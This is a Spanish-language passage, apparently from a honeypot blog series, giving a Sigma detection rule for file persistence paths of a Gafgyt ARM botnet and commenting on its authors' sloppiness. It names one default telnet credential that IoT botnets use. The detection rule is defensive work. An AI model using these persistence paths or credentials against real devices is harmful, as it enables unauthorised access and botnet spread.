En el equipo, la persistencia de handshakebins es ruidosa y tiene nombres fijos:
title: Persistencia de handshakebins (Gafgyt ARM)
id: 6d2b8f41-0c3a-4e57-9b1e-7a4c2f9d8e30
status: experimental
logsource:
product: linux
category: file_event
detection:
selection:
TargetFilename:
- '/etc/systemd/system/bot.service'
- '/etc/init.d/S99bot'
- '/etc/init.d/bot'
- '/etc/profile.d/bot.sh'
- '/etc/config/bot'
- '/tmp/.kworker'
- '/var/tmp/.kworker'
- '/dev/shm/.kworker'
condition: selection
level: high
tags:
- attack.persistence
- attack.t1543.002
- attack.t1037.004
Ninguna de estas reglas detecta a la siguiente botnet. Detectan a esta, que cambió de C2, de menú y de killer en cuatro semanas sin cambiar el nombre de un solo archivo de persistencia.
Lo que más me queda de estos binarios es la distancia entre el trabajo puesto y el trabajo que sirve. El autor de handshakebins escribió a mano un handshake TLS con curvas elípticas y dejó una lista de User-Agent de 2015. Agregó contraseñas de fábrica de cámaras chinas que su escáner nunca prueba. El de iran.* escribió catorce líneas de instalador casi iguales y una tiene un espacio de menos. Ninguno de los dos necesitaba más: con doce credenciales y un instalador que funcione en la mitad de los equipos, una botnet crece igual. Internet sigue teniendo suficientes telnets con root:xc3511 para que el descuido salga gratis.
La entrega siguiente sigue el dinero por otro camino: los que no querían el equipo para atacar a nadie, sino para minar Monero con él, y los que llegaron por Docker con una imagen propia en la mano: Ochenta y seis días de señuelo · IV — Minar en casa ajena.
commit 0xD8BF
Date: 2026-11-11 21:47 PM
creds[12..122]: unreachable; shipping anyway